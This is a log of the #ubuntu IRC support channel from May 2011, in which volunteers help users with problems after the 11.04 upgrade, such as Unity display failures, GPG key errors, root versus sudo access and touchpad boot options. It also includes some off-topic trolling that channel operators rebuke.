[14:57] <lcb> pushpop, in other words, only data should be backed up
[14:57] <smooke> hello!!!
[14:57] <remoteCTRL2> Pici: still, if your desktop effex do work you need to be able to en and disable them somewhere... do you happen to know where? because it is not in the appearance dialog anymore...?
[14:57] <grandpapriz> I would hate to have to re-install both Debian and Ubuntu..any help ideas?
[14:57] <remoteCTRL2> giles
[14:58] <Giles> remoteCTRL2:  no.
[14:58] <remoteCTRL2> Giles: so did i just a minute ago, i could also use lshw but i doubt that that will help me any further...
[14:58] <Giles> remoteCTRL2: nor do I know how to get unity working.
[14:58] <remoteCTRL2> gosh...
[14:58] <Giles> remoteCTRL2: I don't think I want unity.
[14:58] <remoteCTRL2> well 2-3 upgrade went well reecntla now its a total mess once again... rrrrrrrrrrrrr
[14:58] <BlaDe^> how can I resave all the files in a directory?
[14:58] <Giles> remoteCTRL2: but I would like desktop effects back.
[14:59] <BlaDe^> I've just done a mv dir2 dir --- and dirname(__FILE__) in php returns dir2, until I nano, and overwrite the file... Some weird bug.
[14:59] <remoteCTRL2> Giles: i couldnt tell; i haven't seen it yet :D
[14:59] <Giles> BlaDe^: ???
[14:59] <zepherin> bah I think I'm going to migrate to suse for a bit
[14:59] <BlaDe^> Giles ?
[14:59] <remoteCTRL2> Giles: well apparently not even the channel geniouses do currently know how to ...
[14:59] <Giles> remoteCTRL2: seems so.
[14:59] <remoteCTRL2> zepherin: i feel you dude...
[15:01] <Giles> BlaDe^: I think this must be because your php program is using an old file handle?
[15:01] <remoteCTRL2> Giles: one thing i do know for sure: i will NOT migrate my two institutes to natty, two computers, twice total havoc... this really s..........!!
[15:01] <MysticMuse> #miranda
[15:01] <grandpapriz> I guess I will try the Debien forums
[15:01] <grandpapriz> thanks anyway
[15:01] <BlaDe^> Giles no -- it's just a require ( dirname(__FILE__) . '/file');
[15:01]  * Giles is not a php hotshot
[15:02] <rchavik> hi, a quick question, to upgrade 10.10 to 11.04 via CD, i can only use the alternate iso file. is that correct?
[15:02] <a111> Is there a way to limit cpu load and memory used per user?
[15:02] <DrDuck> Would someone mind giving me some insight into why the new release has issues with wireless connections?
[15:02] <Giles> BlaDe^: I    ???'ed you though because i dont know what you mean by "how can I resave all the files in a directory?"
[15:02] <BlaDe^> Giles: i did find . -exec touch {} + ---- this has mostly fixed it
[15:02] <BlaDe^> I think it's possibly APC caching the old file
[15:02] <H4x0rs>       May 2011
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[15:02] <Giles> BlaDe^: yeah touch will update the timestamps.
[15:03] <FloodBot1> H4x0rs: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[15:03] <DrDuck> Also, I'm wondering if it's possible to go back a version. (10.04).
[15:03] <zepherin> rchavik: don't do it it's a trap
[15:03] <H4x0rs> ?
[15:03] <Giles> BlaDe^: but it does not "resave" the file, that thinking is just wrong.
[15:03] <BlaDe^> Giles I didn't say it did
[15:03] <kaiyin>  every time i open a file in midnight commander (inside xterm), i.e. reading a pdf file with evince, the application would feedback some info into xterm, and clobber the mc interface. Has anyone ever exprienced this?
[15:03] <bazhang> H4x0rs, dont paste that here
[15:04] <BlaDe^> resaving the files ALSO updates the access times
[15:04] <rchavik> zepherin, upgrade process not smooth ?
[15:04] <BlaDe^> which is what I needed to do, it appears
[15:04] <kaiyin> Very annoying. Otherwise i might make mc my main file manager.
[15:04] <Giles> BlaDe^: to resave the file you would have to save the same data over the old file
[15:04] <H4x0rs> bazhang, i did not paste, it's a command exec -o cal
[15:04] <BlaDe^> Giles - I know.
[15:04] <Giles> BlaDe^: that can't be what you mean.
[15:04] <bazhang> H4x0rs, this is the wrong place for it
[15:04] <BlaDe^> Giles why are you telling me what I mean?
[15:04] <zepherin> rchavik: My laptop broke because of it. So I have to reinstall
[15:05] <Giles> BlaDe^: Well is it what you mean?
[15:05] <zepherin> unity is not your friend
[15:05] <BlaDe^> Giles -- resaving the files was updating the access/last modified times.. APC seems to cache files by that. Resaving was fixing it, but what I needed to do was just touch all the files
[15:05] <BlaDe^> find . -exec touch {} +  fixed the issue
[15:05] <rchavik> zepherin, okay.. thanks for the heads-up! i will wait then.
[15:05] <clbr> am I right that it's not possible to get an bootable ubuntu live installer usb stick image without already having a working ubuntu installation (and the startup disk maker)?
[15:06] <Giles> BlaDe^: yes, but you are not "resaving" the file, you are just updating the timestamps of the file.
[15:06] <bazhang> clbr, unetbootin has windows version amongst others
[15:06] <BlaDe^> omg? are you reading what i'm saying/
[15:06] <BlaDe^> I'm fully aware what touch does, and what overwriting a file in nano does
[15:06] <velcroshooz> clbr, that would be wrong. there are other programs to copy the iso to the usb stick.
[15:06] <BlaDe^> please - stop talking. It's fixed and you aren't reading...
[15:06] <Giles> BlaDe^: good ;)
[15:06] <bazhang> clbr, unetbootin.sourceforge.net
[15:06] <lcb> "<zepherin> rchavik: My laptop broke because of it. So I have to reinstall" it doesn't mean it will happen to everyone...
[15:06] <clbr> bazhang: thanks, i'm trying
[15:07] <lcb> zepherin, how did it brake, anyway?
[15:07] <asmith> I have a vps, I'm trying to setup pptp on it. I need localip. by ifconfig, under eth0, I get my machine ip. I thought it must be something like 192.168...  should I enter my machine ip as localip?
[15:08] <zepherin> lcb: Can't get into computer can only get into terminal
[15:08] <zepherin> well can't bring up gui
[15:09] <zepherin> unity tells me my computer sucks too much to use it and that I need to use classic, and then locks up my keyboard and mouse so I can't choose classic
[15:09] <rchavik> lcb, yes.. but i can't spare my laptop now, i'll wait until my load cools down a bit..
[15:09] <lcb> zepherin, did you upgrade following instructions? was your system up-to-date and fixed? did you interrupt the upgrade proccess?
[15:09] <H4x0rs> bazhang, I feel you are looking carefully to my posts.
[15:09] <DrDuck> I'm sure I'm not the only one having wireless issues with the new version of Ubuntu, right?
[15:09] <bazhang> H4x0rs, ubuntu support issue?
[15:09] <velcroshooz> zepherin, you choose classic at the login screen, unity should not be running
[15:10] <zepherin> velcros: can't keyboard and mouse are frozen
[15:10] <velcroshooz> i see.
[15:10] <zepherin> I can't exit into terminal
[15:10] <H4x0rs> bazhang, Hhh , anything.
[15:10] <zepherin> lcb: system was up to date, problem has to do with intel integrated video card
[15:11] <bazhang> H4x0rs, chit chat in #ubuntu-offtopic please
[15:11] <zepherin> there is a fix but I can't get internet to do the fix
[15:11] <illsci> Hey is there anyway to fix the white screen of death with the latest upgrade?
[15:11] <H4x0rs> bazhang, I don't shit chat.
[15:11] <lcb> zepherin, rchavik, if upgrade was interrupted: try going to recovery (SHIFT | - select the 2nd kernel  option from the top = recovery mode | go to the end of the new menu and select "root prompt" and type ' sudo dpkg --configure -a ' see if that helps. In any case, do the same but go to the grub menu and run dpkg, grub and failsafeX (choose to use default drivers)
[15:12] <rchavik> lcb, thanks for the pointer.. will take note.
[15:12] <carandraug> I want to report a bug but I don't know to which package I should. What's the application that organizes the windows? The one that "reads" the "Always on top" option of windows (in GNOME). Is it metacity? I'm still using 10.04
[15:13] <Arowana> hi everyone
[15:13] <lcb> rchavik, good luck with that.
[15:13] <Arowana> history
[15:13] <edbian> carandraug: If you have effects on it's compiz.  If not it's metacity.
[15:13] <lcb> Arowana, i prefer mathematics :o
[15:13] <carandraug> edbian, I don't have. So it should be metacity. Thank you
[15:13] <rchavik> lcb, now downloading the alternate iso so hopefully i can do it in the weekends..
[15:14] <edbian> carandraug: Careful!  They are on by default.  To be extra sure look at gnome-system-monitor or ps -e
[15:14] <lcb> rchavik, for fresh install?
[15:14] <H4x0rs> bazhang, Bin laden is dead.
[15:14] <rchavik> lcb, no, upgrade from 10.10 -> 11.04
[15:14] <bazhang> !ot > H4x0rs
[15:14] <ubottu> H4x0rs, please see my private message
[15:14] <lcb> !info Bin Laden | H4x0rs
[15:14] <ubottu> H4x0rs: 'Laden' is not a valid distribution: hardy, hardy-backports, hardy-proposed, jaunty, jaunty-backports, jaunty-proposed, karmic, karmic-backports, karmic-proposed, kubuntu-backports, kubuntu-experimental, kubuntu-updates, lucid, lucid-backports, lucid-proposed, maverick, maverick-backports, maverick-proposed, medibuntu, natty, natty-backports, natty-proposed, partner, stable, testing, unstable
[15:15] <bazhang> lcb, stop that
[15:15] <lcb> gee
[15:15] <zepherin> shift doesn't do anything I can't get to recovery panel, is there a terminal command that I can use to do a recovery?
[15:15] <Ababab> Any ideas why I'm having this problem with irssi: when you type a long line and the time changes, the text is split into multiple lines
[15:15] <lcb> bazhang, please is a good word too
[15:16] <lcb> bazhang, no private pls, my wife don't like it.
[15:16] <edbian> zepherin: If you can boot to a terminal you don't need a recovery boot
[15:16] <zepherin> ok. but I can't get into my gui
[15:17] <edbian> zepherin: Can you explain in more detail?
[15:17] <edbian> zepherin: What can you boot to?  What happens when you try to boot the GUI normally?
[15:17] <zepherin> "It seams that you do not have the hardware required to run Unity. Please choose Ubuntu Classic at the login screen and you will be using the traditional environment."
[15:17] <edbian> zepherin: Do that.
[15:17] <zepherin> then my keyboard and mouse lock up
[15:17] <edbian> zepherin: Do you know how?
[15:18] <Giles> hmm, sudo apt-get install unity
[15:18] <zepherin> and I have to hop into terminal
[15:18] <ojii> does anyone here know how to *UN*install amazonmp3? `sudo apt-get remove amazonmp3 --purge` does not work, but /usr/bin/amazonmp3 is still there and the unity launcher finds it :(
[15:18] <carandraug> edbian, I did. metacity is running
[15:18] <ActionParsnip> zepherin: you need to install or configure your display drivers
[15:18] <k5673> Hello! Somebody have vmbuilder config file for ubuntu? i want to call vmbuilder with vmbuilder -c /path/to/config/file
[15:18] <edbian> Giles: He has the software.  Missing the software
[15:18] <zepherin> no internet
[15:18] <edbian> carandraug: :D  excellent
[15:18] <ActionParsnip> ojii: what is the output of:  dpkg -S amazonmp3
[15:18] <edbian> zepherin: How do you hop into terminal if your keyboard and mouse are frozen?
[15:18] <zepherin> I don't know how to do the internet through terminal
[15:18] <ActionParsnip> zepherin: what video chip do you use?
[15:19] <zepherin> edbian: alt prntscreen
[15:19] <zepherin> RE
[15:19] <ActionParsnip> zepherin: you can always log off then log into gnome classic which will run on anything
[15:19] <durrrrrrrrr> despite setting chrome as my default browser, firefox keeps opening when i click links
[15:19] <zepherin> actionparsnip: no I can't
[15:19] <masak> hi, Ubuntu user here. is this an appropriate channel to ask for help with installing the Perl module XML::LibXML on Ubuntu?
[15:19] <zepherin> intelxtreme2 integrated laptop
[15:19] <ActionParsnip> durrrrrrrrr: what app are you clicking the links in?
[15:20] <Arowana> hi masak
[15:20] <durrrrrrrrr> xchat, empathy, basically everything that isn't a browser
[15:20] <andrewd13> how do I get scripts to run on resume?
[15:20] <Giles> edbian: no, I didn't have unity installed, thats why it didn't work...
[15:20] <Arowana> use cpan command to add modules
[15:20] <zepherin> so what I need is a terminal command to allow me to run classic ubuntu
[15:20] <Arowana> check it out on google
[15:20] <masak> Arowana: I'm using cpanm, but the problem is the same regardless.
[15:20] <ActionParsnip> durrrrrrrrr: but in default apps you set it as chrome?
[15:20] <zepherin> google failed
[15:20] <Ababab> Ie. it does this: http://i.min.us/inx6ro.png . It has something to do with the terminal I think
[15:20] <andrewd13> /etc/pm/sleep.d and /etc/acpi/resume.d no longer working in natty?
[15:20] <edbian> Giles: I was talking about zepherin you're clearly talking about yourself!  Sorry :P
[15:20] <masak> Arowana: getting this error: "looking for -llibxml2... libxml2 not found"
[15:21] <edbian> zepherin: Log out.  Click your name, go to the bottom panel and change the session to Ubuntu Classic.  Type your password and log in.
[15:21] <Arowana> masak well I had to use it once only
[15:21] <ActionParsnip> zepherin: gnome-session-save --logout
[15:21] <masak> Arowana: I've already installed libxml2-dev through apt-get, so I'm surprised it doesn't find it.
[15:21] <durrrrrrrrr> ActionParsnip: well, there's the problem... i guess that setting can't be changed via chrome's options
[15:21] <Arowana> hmm
[15:21] <pseubodot> hi, I just upgraded a desktop running 10.10 to 11.04 and now I lost video. I know the machine boots (g15 driver kicks in and sets up the keyboard properly) but I cannot get network or a working display
[15:21] <Giles> edbian: yeah, no one else was able to help me, so I was explaining what I had wrong...I expected unity to be installed by default after the distro upgrade!
[15:21] <ActionParsnip> durrrrrrrrr: look in system -> prefs
[15:21] <H4x0rs> God Bless You Bin Laden
[15:21] <durrrrrrrrr> ActionParsnip: yeah i just fixed it, thank you
[15:21] <edbian> Giles: It should have been.  STrange
[15:21] <sipior> H4x0rs: enough.
[15:22] <_joey> two applications I need on linux: real player and soapcast
[15:22] <pseubodot> Is there a way I can force X to work minimally at boot?
[15:22] <_joey> what packages do I install?
[15:22] <pseubodot> also, I don't see the grub screen either, so cannot go into single user mode
[15:22] <jrib> pseubodot: what does "force X to work minimally" mean?
[15:22] <zepherin> action: warning unable to start: cannot open display
[15:22] <Arowana> masak: have u googled it?
[15:22] <masak> yes.
[15:22] <Arowana> and which ubuntu ur having
[15:22] <zepherin> edbian: I can't log out. no mouse or keyboard
[15:22] <sipior> masak: sorry, how did you install the perl module?
[15:23] <zepherin> I can only get into terminal
[15:23] <edbian> zepherin: Don't log in in the first place?
[15:23] <zepherin> it does it automatically
[15:23] <masak> sipior: I used 'cpanm', a minimal version of the cpan installer.
[15:23] <edbian> zepherin: Do you mean tty1?  Run this: sudo killall Xorg
[15:23] <Arowana> well perl was already there
[15:23] <masak> sipior: but the error is not in cpanm, but in the module dependencies.
[15:23] <Arowana> try cpan only
[15:23] <masak> ok.
[15:23] <sipior> masak: how about grabbing the module via the ubuntu repository?
[15:23] <zepherin> no processes found
[15:23] <Arowana> hmm havent tried that
[15:24] <Arowana> are u behind proxy or direct connection
[15:24] <pseubodot> jrib: the display is black, so given that the machine boots, I can't see it, and I have used both the onboard and the PCIe (ATI) card ports, and not seen anything
[15:24] <pseubodot> jrib: it seems to be configured for some display, just not one I can see, apparently
[15:24] <jinleileiking_> ?
[15:24] <sipior> masak: "sudo apt-get install libxml-libxml-perl"
[15:24] <edbian> zepherin: Does Xorg show up in ps -e ?
[15:24] <jrib> pseubodot: check /var/log/Xorg.0.log
[15:24] <Arowana> masak: wait le me google it again
[15:24] <masak> sipior: hm, but that module is only a means to an end. I really want Test::XML::Valid.
[15:25] <elisa871> How can I install "Nvidia Driver"????
[15:25] <pseubodot> jrib: can't get to a shell on the box, can't ssh into the box (network not working post-upgrade)
[15:25] <jrib> pseubodot: ctrl-alt-f1 does not work?
[15:25] <pseubodot> jrib: guess I would need a boot disk or something
[15:25] <masak> Arowana: thing is, I always get stuck on this step. generally, I go and ask the Perl people how to do this, but they're often not too sure how to do it on Ubuntu.
[15:25] <pseubodot> jrib: trying
[15:25] <masak> but libxml is almost always a pain to get working the first time.
[15:25] <alex_ivaylov> any ideas how to fix my touchpad random clicking on acer aspire?
[15:25] <zepherin> xorg does not show up
[15:26] <sipior> masak: is that not in libtest-xml-simple-perl?
[15:26] <dennda> Where do you deactivate the effect that you get if you press Meta+W?
[15:26] <ActionParsnip> alex_ivaylov: which model?
[15:26] <Arowana> hi sipior, well masak, maybe he has got a point
[15:26] <alex_ivaylov> aspire 5310
[15:26] <masak> sipior: no, but maybe that'll do. I'll try it.
[15:26] <pseubodot> jrib: screen goes green post-boot
[15:26] <zepherin> so format reinstal for me
[15:27] <zepherin> and a nasty gram for ubuntu
[15:27] <jrib> pseubodot: what did you do differently?  Wasn't it black before?
[15:27] <edbian> dennda: I have no idea what meta + W does for you but you configure it easily using CCSM.  It's a package (compizconfig-settings-manager)  I'm not sure on the placement of those hyphens
[15:28] <ActionParsnip> alex_ivaylov: http://ubuntuforums.org/showthread.php?p=4309328
[15:28] <Arowana> masak: good luck with that
[15:28] <masak> thank you for your help, Arowana, sipior.
[15:28] <Arowana> and btw masak: are u using root user
[15:28] <Arowana> masak: welcome
[15:28] <masak> I'm using 'sudo', yes :)
[15:28] <pseubodot> jrib: ctrl+alt+f1 changed it
[15:28] <ActionParsnip> alex_ivaylov: scratch that, just add these boot options: i8042.reset i8042.nomux
[15:28] <Arowana> y not use su
[15:28] <pseubodot> jrib: didn't stay green long tho
[15:28] <dennda> edbian: Yes, i have that, but i have no idea what the effect is called
[15:29] <edbian> dennda: What's it look like?
[15:29] <alex_ivaylov> ActionParsnip, do you do that in grub?
[15:29] <ActionParsnip> Arowana: because the root account is disabled so su will fail
[15:29] <zexe> whois zexe
[15:29] <Arowana> nope
[15:29] <ActionParsnip> alex_ivaylov: yes add it as a boot option and it seems to help according to: http://ubuntuforums.org/showthread.php?p=6577886
[15:29] <Arowana> no action: y not try from terminal
[15:29] <Ungika> Ola penguinz!
[15:30] <Ungika> ikonia && Pici bruder hoszi!
[15:30] <pseubodot> jrib: going to take out ati card, and use on-board video
[15:30] <ActionParsnip> Arowana: ok, what is the password for root considering I have never set the password and the account is disabled
[15:30] <masak> Arowana: no. in fact, I thought in Ubuntu there was no user 'root', just sudo.
[15:30] <ActionParsnip> Arowana: I am ready to type
[15:30] <masak> Arowana: but maybe I'm wrong on that count.
[15:30] <Arowana> hmm gr8
[15:30] <siddhantchd> guys i have ubuntu 11.04 installed aand cant get the 5.1 channel to run on it...... the Audio device is: Intel Corporation N10/ICH 7 Family High Definition Audio Controller (rev 01)
[15:30] <ActionParsnip> Arowana: i tried my password which is the only account on my system and it didn't work
[15:31] <sipior> masak: the user exists, but the login is disabled by default.
[15:31] <masak> ah.
[15:31] <ActionParsnip> Arowana: in Ubuntu there is NO root password, the account is DISABLED. It doesn't work
[15:31] <qbert> test
[15:31] <Arowana> Action: you can go to terminal issue a sudo passwd  it will ask auth. pass of 1st user created while installing and then new root password
[15:31] <jatt> sudo su
[15:31] <jatt> passwd
[15:31] <ActionParsnip> !noroot | arand
[15:31] <ubottu> arand: We do not support setting a root password. You're free to do it on your own machine, but please don't offer instructions on how to set a root password or ask for help with setting it. See !root and !wfm for more information.
[15:31] <jatt> change root password
[15:31] <ActionParsnip> oops
[15:31] <noes1s> Hello, any guru here knows where the nm-applet stores/saves the networks? (I want to delete that file every time i reboot to stop autoconnects)
[15:31] <Arowana> Action try it
[15:31] <ActionParsnip> !noroot | Arowana
[15:31] <ubottu> Arowana: We do not support setting a root password. You're free to do it on your own machine, but please don't offer instructions on how to set a root password or ask for help with setting it. See !root and !wfm for more information.
[15:31] <Pici> !root | Arowana masak
[15:31] <ubottu> Arowana masak: Do not try to guess the root password, that is impossible. Instead, realise the truth... there is no root password. Then you will see that it is 'sudo' that grants you access and not the root password. Look at https://help.ubuntu.com/community/RootSudo
[15:32] <ActionParsnip> Arowana: I am fully aware of HOW it's not advised nor supported nor necessary
[15:32] <bsodmike> right
[15:32] <bsodmike> this is the wierdness I'm having with PTY
[15:32] <masak> Pici: :)
[15:32] <bsodmike> when I ssh
[15:32] <bsodmike> I connect to ttyp0, if I do echo foo > /dev/ttyp0 it'll echo 'foo' back to my session
[15:32] <rumpe1> noes1s, why not just disable autoconnect for the networks via the gui?
[15:32] <Arowana> thanks guys
[15:32] <ActionParsnip> Arowana: sticking to sudo gives control of whom can use admin access as they need adding to the group which gives sudo
[15:32] <bsodmike> but when I do screen it'll say No PTYs left
[15:33] <constl> Isn't there any functionality like expose in the new Unity desktop ? (or any plugin mechanism...)
[15:33] <ActionParsnip> Arowana: the ubuntu community advocates sudo and it is setup as such by Linux users who I am very sure know a lot more than you, think about it.
[15:33] <siddhantchd> can anyone help ???
[15:33] <zzecool> Arowana,  just a small tip if you want to use for a long time in console the root acc = sudo -s so you dont actually need to type sudo every time
[15:33] <ActionParsnip> Arowana: you can set it on your own system if you want but enabling the account is not default, which is why su doesn't work
[15:34] <Arowana> I accept... thank you will keep in mind
[15:34] <ActionParsnip> Arowana: you can also achieve the same root console with: sudo -i
[15:34] <eternicode> jnettop is giving me this output: http://dpaste.com/538049/ what's up with that, and how can I find out more?  I checked out netstat, but it didn't show anything bound to 0.0.0.0:0.  This "connection" has been doing 100-300Kbps for about 5min (dropped to 20-40 in the last minute, though)
[15:34] <ActionParsnip> Arowana: this keeps the root account securely disabled
[15:34] <alex_ivaylov> ActionParsnip, man, I dont know how to thank you! this fixed it!
[15:34] <ActionParsnip> alex_ivaylov: np bro :)
[15:34] <bsodmike> sudo -i doesn't use your env's settings
[15:34] <Arowana> will follow now on
[15:34] <noes1s> rumpe1 thanks for reading my lines, well, i was doing it using the GUI, but i would like to do it from command line, or editing the file. I use a lot of networks everyday and my list keeps increasing bigger and bigger on every city i visit, its a pain to manually edit 50+ networks while you travel
[15:34] <Arowana> I just hate to type sudo each n every time
[15:34] <zzecool> sudo -s is the way
[15:35] <ActionParsnip> alex_ivaylov: those options are great for pesky touchpads, i8024.nomux=1 works a lot of the time on Vaio laptops ;)
[15:35] <Arowana> thanks zzecool:
[15:35] <zzecool> np
[15:35] <abrakadabrax> hi all
[15:35] <ActionParsnip> Arowana: use:  sudo -i   and it will be just like you 'su'
[15:35] <alex_ivaylov> what does nomux mean?
[15:36] <bugo> one philosophical question. Why packet manager firstly downloads ALL the packets and THEN installs them all. Cannot this be done simultaneously? It could download packets with no dependencies first and then install them while downloading others.
[15:36] <ActionParsnip> alex_ivaylov: no idea but it makes stuff work
[15:36] <Arowana> BRB
[15:36] <Promille> Question; Is there reported any problems/bugs/known data loss with upgrading to natty with Update Manager? Would like to know
[15:36] <ActionParsnip> bugo: submit it as an idea on http;//brainstorm.ubuntu.com
[15:36] <abrakadabrax> apt-proxy Q: trying to add a backend for ppa.launchpad.net freenx-team. keep getting a 503 error when apt-get update on client. is there any howto on adding custom backends to apt-proxy?
[15:36] <jatt> it wouldn't necessary makes everything faster
[15:36] <alex_ivaylov> awsm :)
[15:36] <bsodmike> ActionParsnip: need your help mate
[15:36] <edbian> dennda: ?
[15:36] <bsodmike> I connect to ttyp0, if I do echo foo > /dev/ttyp0 it'll echo 'foo' back to my session
[15:36] <ActionParsnip> bugo: i advise you grab apt-fast too, its great :)
[15:36] <bsodmike> please?
[15:37] <ActionParsnip> bsodmike: ask the channel
[15:37] <bugo> ActionParsnip, i am 100% sure they have thought about it.
[15:37] <bsodmike> I have
[15:37] <bugo> but i will try apt-fast
[15:37] <ActionParsnip> bugo: it does make sense
[15:37] <rumpe1> noes1s, well.. you could try a "grep -R <nameofanaccesspoint> /home/username"  to look for config-files containing the name of the accesspoint
[15:37] <bugo> thats why i think those smart guyse thought about it
[15:37] <cdavis> Is anyone aware of a simple network load balance router project?
[15:37] <bsodmike> No more PTYs, Sorry, could not find a PTY
[15:38] <bsodmike> how do I find what ttyp I'm on?
[15:38] <sipior> bsodmike: what does "tty" return in your ssh session?
[15:38] <ActionParsnip> bugo: I'd still report it, just in case
[15:38] <bsodmike> sipior: exactly!
[15:38] <bsodmike> it returns /dev/ttyp0
[15:38] <noes1s> rumpe1 thanks, ill do a bit of research for it
[15:38] <bsodmike> and screen wants to connect to the same
[15:38] <dennda> Where do you deactivate the effect that you get if you press Meta+W? It shows all the open windows
[15:38] <siddhantchd> anyone who can help????
[15:39] <bugo> ok
[15:39] <sipior> bsodmike: what sort of machine are you connecting to?
[15:39] <facelessloser> anyone having problems with there laptop not coming out of sleep on 11.04
[15:39] <bsodmike> vps?
[15:39] <Pici> !enter
[15:39] <bsodmike> 10.4.2
[15:39] <ubottu> Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[15:39] <abrakadabrax> anybody willing to help with mentioned apt-proxy issue?
[15:39] <bsodmike> sipior: 2.6.18-028stab089.1 #1 SMP Thu Apr 14 13:46:04 MSD 2011 x86_64 GNU/Linux
[15:40] <zzecool> facelessloser, yes i have it destroys my unity launcher
[15:40] <bsodmike> sipior: I only have ssh access
[15:40] <Promille> Hey. Anyone here updated to Ubuntu Natty(with Update Manager) and encountered any problems like data loss/bugs/etc?
[15:40] <zzecool> i have to switch between viewports as a temp fix
[15:41] <sipior> bsodmike: are there any entries in /dev/pts?
[15:41] <bsodmike> is that a file
[15:41] <bsodmike> ?
[15:41] <rumpe1> Promille, bugs yes (it's a brandnew release), data loss no...
[15:41] <sipior> bsodmike: a directory, in fact
[15:41] <bsodmike> it's empty
[15:41] <sipior> bsodmike: how are you invoking ssh? any command switches?
[15:42] <Promille> ok. could you specify the bug please?
[15:42] <bsodmike> no switches
[15:42] <bsodmike> can I force a different tty?
[15:42] <bsodmike> ssh user@ip
[15:42] <facelessloser> zzecool: that sucks
[15:42] <zzecool> Promille, there many small glitches that depend on situation  go on
[15:42] <zzecool> facelessloser, they gonna fix it soon
[15:42] <zzecool> :D
[15:43] <Promille> zzecool: kk
[15:43] <facelessloser> zzecool: thats good to hear thanks of the help
[15:43] <zzecool> ctrl + alt + left or right or up or down key
[15:44] <zzecool> to navigatite between viewports
[15:44] <zzecool> this is the default shortcuts
[15:44] <siddhantchd> !help
[15:44] <ubottu> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[15:45] <phoenixsampras1> help i get an error
[15:45] <bsodmike> sipior: ideas?
[15:45] <zzecool> !help
[15:45] <ubottu> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[15:45] <Promille> !help | phoenixsampras1
[15:45] <ubottu> phoenixsampras1: please see above
[15:45] <Ziber> Hm. So, my sound, on ubuntu 10.10, seems to be having an issue. My computer seems to be emitting some weird sound when a skype alert pops up...
[15:45] <angawar> Hey, is it possible to move ubuntu to a smaller drive, from 250GB normal hdd to a smaller 160GB SSD?
[15:45] <angawar> without trouble? :P
[15:46] <phoenixsampras1> HELP W: GPG error: http://archive.canonical.com natty Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 40976EAF437D05B5
[15:46]  * adit melihat
[15:46] <ActionParsnip> angawar: you can use dd or rsync
[15:46] <angawar> i've tried using ddrescue, the dd_rescue -v /dev/sda /dev/ssd command
[15:46] <jatt> ignore
[15:46] <bsodmike> ActionParsnip: can you assist?
[15:46] <jatt> or maybe you need to import some public keys some how
[15:46] <ActionParsnip> bsodmike: unfortunately not
[15:46] <bsodmike> oh ok
[15:46] <ActionParsnip> phoenixsampras1: sudo apt-key adv --recv-key --keyserver keyserver.ubuntu.com 40976EAF437D05B5
[15:46] <angawar> have ddrescue installed, what command do u recommend to use
[15:47] <s093294> Hello, if im in a folder "Project" , and i want to copy the file test.tex into all subfolders and rename it to the {subfolders name}.tex - what command can achive this
[15:47] <phoenixsampras1> ActionParsnip: W: GPG error: http://extras.ubuntu.com natty Release: The following signatures were invalid: BADSIG 16126D3A3E5C1192 Ubuntu Extras Archive Automatic Signing Key <ftpmaster@ubuntu.com>
[15:48] <angawar> could someone help me please :(
[15:48] <ActionParsnip> phoenixsampras1: is that the reply you got?
[15:48] <jrib> s093294: use find (hint: -type d -exec)
[15:48] <phoenixsampras1> ActionParsnip: after i did your command, i did apt-get update, and got that error
[15:48] <ActionParsnip> ok, run the same command, just change the last bit
[15:48] <noes1s> Where are network-manager networks saved?
[15:48] <ActionParsnip> phoenixsampras1: I have it as a script so I can run: sudo getkey codehere
[15:49] <s093294> jrib, mind giving me the full command, cant figure it out
[15:49] <jrib> s093294: what did you try?
[15:49] <angawar> Hey, is it possible to move ubuntu to a smaller drive, from 250GB normal hdd to a smaller 160GB SSD? What command to use with ddrescue? since normal clone didn't work properly
[15:50] <phoenixsampras1> ActionParsnip: W: GPG error: http://extras.ubuntu.com natty Release: The following signatures were invalid: BADSIG 16126D3A3E5C1192 Ubuntu Extras Archive Automatic Signing Key <ftpmaster@ubuntu.com>
[15:50] <s093294> jrib, find . -type d -exec cp test.tex {}/ \;   i dont know how to rename to the subfolder name
[15:50] <phoenixsampras1> still getting the same error
[15:50] <mtlife> angawar: you could use norton ghost :p
[15:50] <Oins> Kann mir jemand sagen, wie ich bei zwei Moitoren einen als Default (für das Unity Panel) ändern kann.
[15:50] <angawar> dont have windows
[15:50] <Pici> !de  | Oins
[15:50] <ubottu> Oins: In den meisten ubuntu-Kanälen wird nur Englisch gesprochen. Für deutschsprachige Hilfe besuchen Sie bitte #ubuntu-de, #kubuntu-de, #edubuntu-de oder #ubuntu-at. Geben Sie einfach /join #ubuntu-de ein! Danke für Ihr Verständnis.
[15:51] <siddhantchd> anyone please help
[15:51] <ActionParsnip> phoenixsampras1: can you pastebin the output of: sudo apt-get update     Thanks
[15:51] <angawar> Hey, is it possible to move ubuntu to a smaller drive, from 250GB normal hdd to a smaller 160GB SSD? What command to use with ddrescue? since normal clone didn't work properly
[15:51] <jrib> s093294: checkout "basename"
[15:51] <siddhantchd> !help
[15:51] <ubottu> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[15:51] <ActionParsnip> angawar: look into rsync
[15:52] <rumpe1> angawar, you also have to adapt the system to the new drive besides the pure cloning (fstab-entries, bootloader)
[15:52] <s093294> jrib, the command i ran dindt work. guess i will do it manual then
[15:52] <metaperl> I have successfully done "sudo apt-get install postgresql" --- now I'd like to get further information on setting up my postgresql server on ubuntu 11
[15:53] <angawar> never done this before xP
[15:53] <phoenixsampras1> ActionParsnip: http://paste.ubuntu.com/602295/
[15:53] <Superstar> How do I check what UDMA mode my hard disks are using in 11.04?
[15:54] <ActionParsnip> Superstar: look into hdparm
[15:54] <rumpe1> Superstar, first thought:  dmesg | grep UDMA
[15:54] <ActionParsnip> phoenixsampras1: let it finish, then pastebin
[15:55] <Superstar> rumpe1 thank you! just what i was looking for
[15:55] <Fodi69> hi, I have a problem with the top menubar, it does not shows all the available menu items
[15:55] <phoenixsampras1> ActionParsnip:  http://paste.ubuntu.com/602298/
[15:56] <janolap1> Hi, I have a problem with grub on my ubuntu serveur. Let me explain: I had to restore the filesystem (backed up with a tar.gz). But my system is on LVM. When I restored it using system rescue CD, I have to do a "grub-install --root-directory=/mnt/fcroot --recheck --no-floppy /dev/virtual12/root" where /mnt/fcroot is where the lvm is mounted and /dev/virtual12/root is the / of my server. But...
